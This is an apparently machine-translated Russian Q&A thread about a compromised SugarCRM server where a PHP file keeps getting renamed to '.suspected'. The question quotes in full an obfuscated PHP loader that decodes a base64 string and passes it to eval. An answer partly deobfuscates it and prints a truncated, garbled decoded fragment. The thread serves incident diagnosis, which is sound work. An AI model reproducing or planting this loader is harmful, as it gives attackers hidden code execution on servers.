php-файл автоматически переименован в php.suspected

За последние 4 дня мы сталкиваемся с необычной проблемой на нашем производственном сервере (экземпляр AWS EC2), относящемся только к одному сайту, который является SugarCRM.

Проблема: файл /home/site_folder/public_html/include/MassUpdate.php автоматически переименовывается в /home/site_folder/public_html/include/MassUpdate.php.suspected

Это происходит 2-3 раза в день с 3-4 часами пробела. Эта проблема возникает только в случае конкретного сайта, даже если это не происходит для постановки реплики того же сайта. Я даже проверял код этого файла с обоих сайтов, это то же самое.

У нас есть Googled и найденный, такая проблема возникает главным образом для сайтов WordPress, и это может быть из-за атаки. Но мы проверили наш сервер против атаки, нет. Кроме того, на сервере нет сканирования вирусов и вредоносных программ.

Что нам делать?

Обновление: Мы нашли несколько вещей после прохождения этой ссылки. Мы выполнили egrep -Rl 'function.*for.*strlen.*isset' /home/username/public_html/ И обнаружили, что файлов с последующим примером кода недостаточно.

  <?php function flnftovr($hkbfqecms, $bezzmczom){$ggy = ''; for($i=0; $i < strlen($hkbfqecms); $i++){$ggy .= isset($bezzmczom[$hkbfqecms[$i]]) ? $bezzmczom[$hkbfqecms[$i]] : $hkbfqecms[$i];} $ixo="base64_decode";return $ixo($ggy);} $s = 'DMtncCPWxODe8uC3hgP3OuEKx3hjR5dCy56kT6kmcJdkOBqtSZ91NMP1OuC3hgP3h3hjRamkT6kmcJdkOBqtSZ91NJV'. '0OuC0xJqvSMtKNtPXcJvt8369GZpsZpQWxOlzSMtrxCPjcJvkSZ96byjbZgtgbMtWhuCXbZlzHXCoCpCob'.'zxJd7Nultb4qthgtfNMtixo9phgCWbopsZ1X='; $koicev = Array('1'=>'n', '0'=>'4', '3'=>'y', '2'=>'8', '5'=>'E', '4'=>'H', '7'=>'j', '6'=>'w', '9'=>'g', '8'=>'J', 'A'=>'Y', 'C'=>'V', 'B'=>'3', 'E'=>'x', 'D'=>'Q', 'G'=>'M', 'F'=>'i', 'I'=>'P', 'H'=>'U', 'K'=>'v', 'J'=>'W', 'M'=>'G', 'L'=>'L', 'O'=>'X', 'N'=>'b', 'Q'=>'B', 'P'=>'9', 'S'=>'d', 'R'=>'I', 'U'=>'r', 'T'=>'O', 'W'=>'z', 'V'=>'F', 'Y'=>'q', 'X'=>'0', 'Z'=>'C', 'a'=>'D', 'c'=>'a', 'b'=>'K', 'e'=>'o', 'd'=>'5', 'g'=>'m', 'f'=>'h', 'i'=>'6', 'h'=>'c', 'k'=>'p', 'j'=>'s', 'm'=>'A', 'l'=>'R', 'o'=>'S', 'n'=>'u', 'q'=>'N', 'p'=>'k', 's'=>'7', 'r'=>'t', 'u'=>'2', 't'=>'l', 'w'=>'e', 'v'=>'1', 'y'=>'T', 'x'=>'Z', 'z'=>'f'); eval(flnftovr($s, $koicev));?> 

Кажется, что-то вредоносное ПО, как мы его постоянно удаляем?

благодаря

Это несколько запутано, но я де-зафузировал его. Функция flnftovr берет строку и массив в качестве аргументов. Он создает новую строку $ ggy, используя формулу

 isset($array[$string[$i]]) ? $array[$string[$i]] : $string[$i];} 

Затем он подготавливает base64_decode к строке.

Строка равна $ s, массив – $ koicev. Затем он вычисляет результат этой манипуляции. Поэтому в итоге создается строка:

 base64_decode(QGluaV9zZXQoJ2Vycm9yX2xvZycsIE5VTEwpOwpAaW5pX3NldCgnbG9nX2Vycm9ycycsIDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywgMCk7CkBzZXRfdGltZV9saW1pdCgwKTsKCmlmKGlzc2V0KCRfU0VSVkVSKfZW5jb2RlKHNlcmlhbGl6ZSgkcmVzKSk7Cn0=) 

Итак, что на самом деле запускается на вашем сервере:

 @ini_set('error_log', NULL); @ini_set('log_errors', 0); @ini_set('max_execution_time', 0); @set_time_limit(0); if(isset($_SERVER) encode(serialize($res)); } 

Если вы этого не создали, и вы подозреваете, что ваш сайт взломан, я предлагаю вам стереть сервер и создать новую установку любых приложений, запущенных на вашем сервере.